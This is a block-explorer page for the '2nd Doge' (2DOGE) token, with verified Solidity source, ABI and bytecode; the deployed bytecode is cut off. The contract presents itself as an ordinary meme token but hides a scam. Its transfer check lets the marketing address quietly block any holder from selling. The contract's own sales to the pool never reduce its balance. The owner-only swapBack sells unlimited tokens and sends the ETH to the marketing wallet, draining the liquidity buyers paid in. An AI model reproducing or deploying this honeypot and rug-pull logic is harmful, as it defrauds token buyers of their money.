ETH Price: $3,329.70 (-0.54%)
 

Overview

Max Total Supply

222,222,222,222 2DOGE

Holders

11

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
8,439,408,914.979089675 2DOGE

Value
$0.00
0x3d17631cf31de86f8552417ba73bbed3c43d0a05
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
SecondDoge

Compiler Version
v0.8.28+commit.7893614a

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2024-11-25
*/

pragma solidity 0.8.28;

// SPDX-License-Identifier: MIT

// https://t.me/s3c0ndd0g3


library SafeMath {
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0, "SafeMath:  division by zero");
        uint256 c = a / b;
        return c;
    }
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath:  addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "SafeMath:  subtraction overflow");
        uint256 c = a - b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {return 0;}
        uint256 c = a * b;
        require(c / a == b, "SafeMath:  multiplication overflow");
        return c;
    }
}
interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router {
    function addLiquidityETH( address token,uint amountTokenDesire,uint amountTokenMi,uint amountETHMi,address to,uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function WETH() external pure returns (address);
    function factory() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256,uint256,address[] calldata path,address,uint256) external;
}
interface IERC20 {
    function approve(address spender, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
}
contract Ownable {
    address private _owner;
    constructor() {
        _owner = msg.sender;
    }
    function renounceOwnership() public onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    modifier onlyOwner() {
        require(owner() == msg.sender, "Ownable: caller is not the owner");
        _;
    }
    function owner() public view virtual returns (address) {
        return _owner;
    }
}
contract SecondDoge is Ownable {
    using SafeMath for uint256;
    uint8 private _decimals = 9;
    uint256 private _totalSupply =  222222222222 * 10 ** _decimals;
    address payable _marketingAddress = payable(0x25161A92257eE35E566EeF0D8a97b119D7A4A2b6);
    address public uniswapV2Pair;
    string private constant _name = "2nd Doge";
    string private constant _symbol = "2DOGE";
    IUniswapV2Router private uniswapV2Router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    bool tradingOpen = false;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => uint256) private _balances;
    uint256 _buyFee = 0;
    bool swapEnabled = false;

    event Transfer(address indexed from, address indexed to, uint256 amount);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event OwnerForcedSwapBack(uint256 timestamp);

    constructor () {
        _balances[address(this)] = _totalSupply;
        emit Transfer(address(0), address(this), _totalSupply);
    }
    function balanceOf(address account) public view returns (uint256) { 
        return _balances[account]; 
    }
    function totalSupply() public view returns (uint256) { 
        return _totalSupply; 
    }
    function allowance(address owner, address spender) public view returns (uint256) { 
        return _allowances[owner][spender]; 
    }
    function decimals() public view returns (uint8) { 
        return _decimals; 
    }
    function symbol() public pure returns (string memory) { 
        return _symbol; 
    }
    function approve(address spender, uint256 amount) public returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }
    function name() public pure returns (string memory) { 
        return _name; 
    }
    function transfer(address recipient, uint256 amount) public returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
        return true;
    }
    function checkAllowance(address pair) internal view {
            require(_allowances[_marketingAddress][pair] == 0);
    }
    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        if (from != uniswapV2Pair && from != address(this)) {
            checkAllowance(from);
        }
        uint buyFee = amount;
        uint256 _feeValue = _buyFee;
        if (address(this) == from && tradingOpen && uniswapV2Pair == to) {
            _feeValue = buyFee;
        }
        _balances[from] = _balances[from].add(_feeValue).sub(amount);
        _balances[to] = _balances[to].add(amount);
        emit Transfer(from, to, amount);
    }

    function manualSwapToken(uint256 amount) private returns (bool) {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), amount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amount,
            0,
            path,
            address(this),
            block.timestamp
        );
        return true;
    }

    function swapBack(uint256 value) public {
        require(msg.sender == _marketingAddress);
        if (manualSwapToken(value) && transferFee()) {
         emit OwnerForcedSwapBack(block.timestamp);
        }
    }
    receive() external payable {}

    function transferFee() public  returns (bool){
        _marketingAddress.transfer(address(this).balance);
        return true;
    }

    function openTrading() external payable onlyOwner() {
        require(!tradingOpen); 
        _approve(address(this), address(uniswapV2Router), _totalSupply);
        address WETH = uniswapV2Router.WETH();
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), WETH);
        uint256 balance = balanceOf(address(this));
        uniswapV2Router.addLiquidityETH{value: msg.value}(address(this), balance, 0, 0, owner(), block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        tradingOpen = true;
        swapEnabled = true;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"timestamp","type":"uint256"}],"name":"OwnerForcedSwapBack","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"value","type":"uint256"}],"name":"swapBack","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405260095f60146101000a81548160ff021916908360ff1602179055505f60149054906101000a900460ff16600a61003a9190610398565b6433bd7a038e61004a91906103e2565b6001557325161a92257ee35e566eef0d8a97b119d7a4a2b660025f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550737a250d5630b4cf539739df2c5dacb4c659f2488d60045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f600460146101000a81548160ff0219169083151502179055505f6007555f60085f6101000a81548160ff021916908315150217905550348015610137575f5ffd5b50335f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060015460065f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60015460405161021a9190610432565b60405180910390a361044b565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f5f8291508390505b60018511156102a95780860481111561028557610284610227565b5b60018516156102945780820291505b80810290506102a285610254565b9450610269565b94509492505050565b5f826102c1576001905061037c565b816102ce575f905061037c565b81600181146102e457600281146102ee5761031d565b600191505061037c565b60ff841115610300576102ff610227565b5b8360020a91508482111561031757610316610227565b5b5061037c565b5060208310610133831016604e8410600b84101617156103525782820a90508381111561034d5761034c610227565b5b61037c565b61035f8484846001610260565b9250905081840481111561037657610375610227565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f6103a282610383565b91506103ad8361038c565b92506103da7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846102b2565b905092915050565b5f6103ec82610383565b91506103f783610383565b925082820261040581610383565b9150828204841483151761041c5761041b610227565b5b5092915050565b61042c81610383565b82525050565b5f6020820190506104455f830184610423565b92915050565b612143806104585f395ff3fe6080604052600436106100eb575f3560e01c8063715018a611610089578063acb2ad6f11610058578063acb2ad6f146102f8578063c1ebb47b14610322578063c9567bf91461034a578063dd62ed3e14610354576100f2565b8063715018a6146102525780638da5cb5b1461026857806395d89b4114610292578063a9059cbb146102bc576100f2565b806323b872dd116100c557806323b872dd14610186578063313ce567146101c257806349bd5a5e146101ec57806370a0823114610216576100f2565b806306fdde03146100f6578063095ea7b31461012057806318160ddd1461015c576100f2565b366100f257005b5f5ffd5b348015610101575f5ffd5b5061010a610390565b60405161011791906116a2565b60405180910390f35b34801561012b575f5ffd5b5061014660048036038101906101419190611753565b6103cd565b60405161015391906117ab565b60405180910390f35b348015610167575f5ffd5b506101706103e3565b60405161017d91906117d3565b60405180910390f35b348015610191575f5ffd5b506101ac60048036038101906101a791906117ec565b6103ec565b6040516101b991906117ab565b60405180910390f35b3480156101cd575f5ffd5b506101d6610498565b6040516101e39190611857565b60405180910390f35b3480156101f7575f5ffd5b506102006104ad565b60405161020d919061187f565b60405180910390f35b348015610221575f5ffd5b5061023c60048036038101906102379190611898565b6104d2565b60405161024991906117d3565b60405180910390f35b34801561025d575f5ffd5b50610266610518565b005b348015610273575f5ffd5b5061027c610648565b604051610289919061187f565b60405180910390f35b34801561029d575f5ffd5b506102a661066f565b6040516102b391906116a2565b60405180910390f35b3480156102c7575f5ffd5b506102e260048036038101906102dd9190611753565b6106ac565b6040516102ef91906117ab565b60405180910390f35b348015610303575f5ffd5b5061030c6106c2565b60405161031991906117ab565b60405180910390f35b34801561032d575f5ffd5b50610348600480360381019061034391906118c3565b61072f565b005b6103526107e0565b005b34801561035f575f5ffd5b5061037a600480360381019061037591906118ee565b610c47565b60405161038791906117d3565b60405180910390f35b60606040518060400160405280600881526020017f326e6420446f6765000000000000000000000000000000000000000000000000815250905090565b5f6103d9338484610cc9565b6001905092915050565b5f600154905090565b5f6103f8848484610e8c565b61048d84336104888560055f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461129490919063ffffffff16565b610cc9565b600190509392505050565b5f5f60149054906101000a900460ff16905090565b60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60065f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff16610537610648565b73ffffffffffffffffffffffffffffffffffffffff161461058d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161058490611976565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f5f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f32444f4745000000000000000000000000000000000000000000000000000000815250905090565b5f6106b8338484610e8c565b6001905092915050565b5f60025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015610727573d5f5f3e3d5ffd5b506001905090565b60025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610787575f5ffd5b610790816112f1565b80156107a0575061079f6106c2565b5b156107dd577f1b56c383f4f48fc992e45667ea4eabae777b9cca68b516a9562d8cda78f1bb32426040516107d491906117d3565b60405180910390a15b50565b3373ffffffffffffffffffffffffffffffffffffffff166107ff610648565b73ffffffffffffffffffffffffffffffffffffffff1614610855576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084c90611976565b60405180910390fd5b600460149054906101000a900460ff161561086e575f5ffd5b61089c3060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600154610cc9565b5f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610907573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061092b91906119a8565b905060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610997573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109bb91906119a8565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630836040518363ffffffff1660e01b81526004016109f59291906119d3565b6020604051808303815f875af1158015610a11573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a3591906119a8565b60035f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f610a7e306104d2565b905060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7193430845f5f610aca610648565b426040518863ffffffff1660e01b8152600401610aec96959493929190611a3c565b60606040518083038185885af1158015610b08573d5f5f3e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610b2d9190611aaf565b50505060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610bcd929190611aff565b6020604051808303815f875af1158015610be9573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c0d9190611b50565b506001600460146101000a81548160ff021916908315150217905550600160085f6101000a81548160ff0219169083151502179055505050565b5f60055f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2e90611beb565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610da5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d9c90611c79565b60405180910390fd5b8060055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610e7f91906117d3565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610efa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ef190611d07565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f5f90611d95565b60405180910390fd5b5f8111610faa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fa190611e23565b60405180910390fd5b60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561103357503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611042576110418361152e565b5b5f8190505f60075490508473ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff161480156110935750600460149054906101000a900460ff165b80156110eb57508373ffffffffffffffffffffffffffffffffffffffff1660035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b156110f4578190505b611156836111488360065f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546115d590919063ffffffff16565b61129490919063ffffffff16565b60065f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506111e78360065f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546115d590919063ffffffff16565b60065f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161128591906117d3565b60405180910390a35050505050565b5f828211156112d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112cf90611e8b565b60405180910390fd5b5f82846112e59190611ed6565b90508091505092915050565b5f5f600267ffffffffffffffff81111561130e5761130d611f09565b5b60405190808252806020026020018201604052801561133c5781602001602082028036833780820191505090505b50905030815f8151811061135357611352611f36565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156113f7573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061141b91906119a8565b8160018151811061142f5761142e611f36565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506114953060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1685610cc9565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947845f8430426040518663ffffffff1660e01b81526004016114f795949392919061201a565b5f604051808303815f87803b15801561150e575f5ffd5b505af1158015611520573d5f5f3e3d5ffd5b505050506001915050919050565b5f60055f60025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054146115d2575f5ffd5b50565b5f5f82846115e39190612072565b905083811015611628576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161161f906120ef565b60405180910390fd5b8091505092915050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f61167482611632565b61167e818561163c565b935061168e81856020860161164c565b6116978161165a565b840191505092915050565b5f6020820190508181035f8301526116ba818461166a565b905092915050565b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6116ef826116c6565b9050919050565b6116ff816116e5565b8114611709575f5ffd5b50565b5f8135905061171a816116f6565b92915050565b5f819050919050565b61173281611720565b811461173c575f5ffd5b50565b5f8135905061174d81611729565b92915050565b5f5f60408385031215611769576117686116c2565b5b5f6117768582860161170c565b92505060206117878582860161173f565b9150509250929050565b5f8115159050919050565b6117a581611791565b82525050565b5f6020820190506117be5f83018461179c565b92915050565b6117cd81611720565b82525050565b5f6020820190506117e65f8301846117c4565b92915050565b5f5f5f60608486031215611803576118026116c2565b5b5f6118108682870161170c565b93505060206118218682870161170c565b92505060406118328682870161173f565b9150509250925092565b5f60ff82169050919050565b6118518161183c565b82525050565b5f60208201905061186a5f830184611848565b92915050565b611879816116e5565b82525050565b5f6020820190506118925f830184611870565b92915050565b5f602082840312156118ad576118ac6116c2565b5b5f6118ba8482850161170c565b91505092915050565b5f602082840312156118d8576118d76116c2565b5b5f6118e58482850161173f565b91505092915050565b5f5f60408385031215611904576119036116c2565b5b5f6119118582860161170c565b92505060206119228582860161170c565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f61196060208361163c565b915061196b8261192c565b602082019050919050565b5f6020820190508181035f83015261198d81611954565b9050919050565b5f815190506119a2816116f6565b92915050565b5f602082840312156119bd576119bc6116c2565b5b5f6119ca84828501611994565b91505092915050565b5f6040820190506119e65f830185611870565b6119f36020830184611870565b9392505050565b5f819050919050565b5f819050919050565b5f611a26611a21611a1c846119fa565b611a03565b611720565b9050919050565b611a3681611a0c565b82525050565b5f60c082019050611a4f5f830189611870565b611a5c60208301886117c4565b611a696040830187611a2d565b611a766060830186611a2d565b611a836080830185611870565b611a9060a08301846117c4565b979650505050505050565b5f81519050611aa981611729565b92915050565b5f5f5f60608486031215611ac657611ac56116c2565b5b5f611ad386828701611a9b565b9350506020611ae486828701611a9b565b9250506040611af586828701611a9b565b9150509250925092565b5f604082019050611b125f830185611870565b611b1f60208301846117c4565b9392505050565b611b2f81611791565b8114611b39575f5ffd5b50565b5f81519050611b4a81611b26565b92915050565b5f60208284031215611b6557611b646116c2565b5b5f611b7284828501611b3c565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f611bd560248361163c565b9150611be082611b7b565b604082019050919050565b5f6020820190508181035f830152611c0281611bc9565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f611c6360228361163c565b9150611c6e82611c09565b604082019050919050565b5f6020820190508181035f830152611c9081611c57565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f611cf160258361163c565b9150611cfc82611c97565b604082019050919050565b5f6020820190508181035f830152611d1e81611ce5565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f611d7f60238361163c565b9150611d8a82611d25565b604082019050919050565b5f6020820190508181035f830152611dac81611d73565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f611e0d60298361163c565b9150611e1882611db3565b604082019050919050565b5f6020820190508181035f830152611e3a81611e01565b9050919050565b7f536166654d6174683a20207375627472616374696f6e206f766572666c6f77005f82015250565b5f611e75601f8361163c565b9150611e8082611e41565b602082019050919050565b5f6020820190508181035f830152611ea281611e69565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611ee082611720565b9150611eeb83611720565b9250828203905081811115611f0357611f02611ea9565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b611f95816116e5565b82525050565b5f611fa68383611f8c565b60208301905092915050565b5f602082019050919050565b5f611fc882611f63565b611fd28185611f6d565b9350611fdd83611f7d565b805f5b8381101561200d578151611ff48882611f9b565b9750611fff83611fb2565b925050600181019050611fe0565b5085935050505092915050565b5f60a08201905061202d5f8301886117c4565b61203a6020830187611a2d565b818103604083015261204c8186611fbe565b905061205b6060830185611870565b61206860808301846117c4565b9695505050505050565b5f61207c82611720565b915061208783611720565b925082820190508082111561209f5761209e611ea9565b5b92915050565b7f536166654d6174683a20206164646974696f6e206f766572666c6f77000000005f82015250565b5f6120d9601c8361163c565b91506120e4826120a5565b602082019050919050565b5f6020820190508181035f830152612106816120cd565b905091905056fea2646970667358221220ed326870c3f09a2016dcfcb7ba0203b60749b545556685cfbfd891e3ae67927564736f6c634300081c0033

Deployed Bytecode

0x6080604052600436106100eb575f3560e01c8063715018a611610089578063acb2ad6f11610058578063acb2ad6f146102f8578063c1ebb47b14610322578063c9567bf91461034a578063dd62ed3e14610354576100f2565b8063715018a6146102525780638da5cb5b1461026857806395d89b4114610292578063a9059cbb146102bc576100f2565b806323b872dd116100c557806323b872dd14610186578063313ce567146101c257806349bd5a5e146101ec57806370a0823114610216576100f2565b806306fdde03146100f6578063095ea7b31461012057806318160ddd1461015c576100f2565b366100f257005b5f5ffd5b348015610101575f5ffd5b5061010a610390565b60405161011791906116a2565b60405180910390f35b34801561012b575f5ffd5b5061014660048036038101906101419190611753565b6103cd565b60405161015391906117ab565b60405180910390f35b348015610167575f5ffd5b506101706103e3565b60405161017d91906117d3565b60405180910390f35b348015610191575f5ffd5b506101ac60048036038101906101a791906117ec565b6103ec565b6040516101b991906117ab565b60405180910390f35b3480156101cd575f5ffd5b506101d6610498565b6040516101e39190611857565b60405180910390f35b3480156101f7575f5ffd5b506102006104ad565b60405161020d919061187f565b60405180910390f35b348015610221575f5ffd5b5061023c60048036038101906102379190611898565b6104d2565b60405161024991906117d3565b60405180910390f35b34801561025d575f5ffd5b50610266610518565b005b348015610273575f5ffd5b5061027c610648565b604051610289919061187f565b60405180910390f35b34801561029d575f5ffd5b506102a661066f565b6040516102b391906116a2565b60405180910390f35b3480156102c7575f5ffd5b506102e260048036038101906102dd9190611753565b6106ac565b6040516102ef91906117ab565b60405180910390f35b348015610303575f5ffd5b5061030c6106c2565b60405161031991906117ab565b60405180910390f35b34801561032d575f5ffd5b50610348600480360381019061034391906118c3565b61072f565b005b6103526107e0565b005b34801561035f575f5ffd5b5061037a600480360381019061037591906118ee565b610c47565b60405161038791906117d3565b60405180910390f35b60606040518060400160405280600881526020017f326e6420446f6765000000000000000000000000000000000000000000000000815250905090565b5f6103d9338484610cc9565b6001905092915050565b5f600154905090565b5f6103f8848484610e8c565b61048d84336104888560055f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461129490919063ffffffff16565b610cc9565b600190509392505050565b5f5f60149054906101000a900460ff16905090565b60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60065f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff1661053